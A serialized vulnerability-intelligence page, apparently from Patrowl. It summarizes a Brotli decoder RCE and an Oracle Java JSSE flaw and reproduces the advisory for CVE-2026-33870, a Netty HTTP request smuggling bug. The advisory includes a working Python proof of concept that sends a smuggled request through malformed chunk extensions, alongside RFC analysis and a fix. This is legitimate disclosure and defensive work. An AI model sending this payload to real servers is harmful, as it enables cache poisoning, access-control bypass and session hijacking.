[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33870":30,"landing-articles":103},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":80,"epss_score":81,"epss_percentile":82,"is_kev":83,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":84,"attack_mappings":94,"exploits":101},6996,"CVE-2026-33870","EUVD-2026-16787","Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing\n\n## Summary\n\nNetty incorrectly parses quoted strings in HTTP\u002F1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003Chttps:\u002F\u002Fw4ke.info\u002F2025\u002F06\u002F18\u002Ffunky-chunks.html>\n- \u003Chttps:\u002F\u002Fw4ke.info\u002F2025\u002F10\u002F29\u002Ffunky-chunks-2.html>\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token \u002F quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext \u002F quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB \u002F SP \u002F %x21 \u002F %x23-5B \u002F %x5D-7E \u002F obs-text\nquoted-pair = \"\\\" ( HTAB \u002F SP \u002F VCHAR \u002F obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR\u002FLF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR\u002FLF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport socket\n\npayload = (\n    b\"POST \u002F HTTP\u002F1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b'1;a=\"\\r\\n'\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET \u002Fsmuggled HTTP\u002F1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b'\"\\r\\n'\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP\u002F')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST \u002F body=\"X\"  | GET \u002Fsmuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none — malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If ';' is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext \u002F quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https:\u002F\u002Fwww.rfc-editor.org\u002Frfc\u002Frfc9110)\n- [Funky Chunks Research](https:\u002F\u002Fw4ke.info\u002F2025\u002F06\u002F18\u002Ffunky-chunks.html)\n- [Funky Chunks 2 Research](https:\u002F\u002Fw4ke.info\u002F2025\u002F10\u002F29\u002Ffunky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Ffiles\u002F24697955\u002Fjava_netty.zip)","2026-03-26T18:48:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","NONE","LOW",true,[48],"CWE-444",[50],"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",[52],"Netty Netty",[54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79],"https:\u002F\u002Fgithub.com\u002Fnetty\u002Fnetty\u002Fsecurity\u002Fadvisories\u002FGHSA-pwqr-wmgm-9rr8","https:\u002F\u002Fw4ke.info\u002F2025\u002F06\u002F18\u002Ffunky-chunks.html","https:\u002F\u002Fw4ke.info\u002F2025\u002F10\u002F29\u002Ffunky-chunks-2.html","https:\u002F\u002Fwww.rfc-editor.org\u002Frfc\u002Frfc9110","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33870","https:\u002F\u002Fgithub.com\u002Fnetty\u002Fnetty","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:10175","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:10184","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:13571","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:14272","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:14276","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:17668","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:17789","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:18054","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:18055","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:18059","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:22619","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:7109","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:7380","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:8159","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:8509","https:\u002F\u002Faccess.redhat.com\u002Fsecurity\u002Fcve\u002FCVE-2026-33870","https:\u002F\u002Fbugzilla.redhat.com\u002Fshow_bug.cgi?id=2452453","https:\u002F\u002Fsecurity.access.redhat.com\u002Fdata\u002Fcsaf\u002Fv2\u002Fvex\u002F2026\u002Fcve-2026-33870.json","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:34608","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:65126",0.73,0.00701,0.5294,false,{"timestamp":85,"automatable":86,"tech_impact":87,"exploitation":88,"cisa_decision":89,"cisa_remediation_timeline":93},"2026-03-31T13:55:28.970197Z","yes","partial","poc",{"vector":90,"decision":91,"priority":92},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T07:32:36.911946\u002F","attend","medium","14D",[95],{"name":96,"source":97,"tactics":98,"technique_id":100},"Exploit Public-Facing Application","attack_vector",[99],"initial-access","T1190",[102],{"link":54},{"count":104,"next":105,"previous":6,"results":106},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[107,115,123],{"id":108,"title":109,"summary":110,"published_at":111,"type":112,"link":113,"image_url":114},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":116,"title":117,"summary":118,"published_at":119,"type":120,"link":121,"image_url":122},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":124,"title":125,"summary":126,"published_at":127,"type":128,"link":129,"image_url":130},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]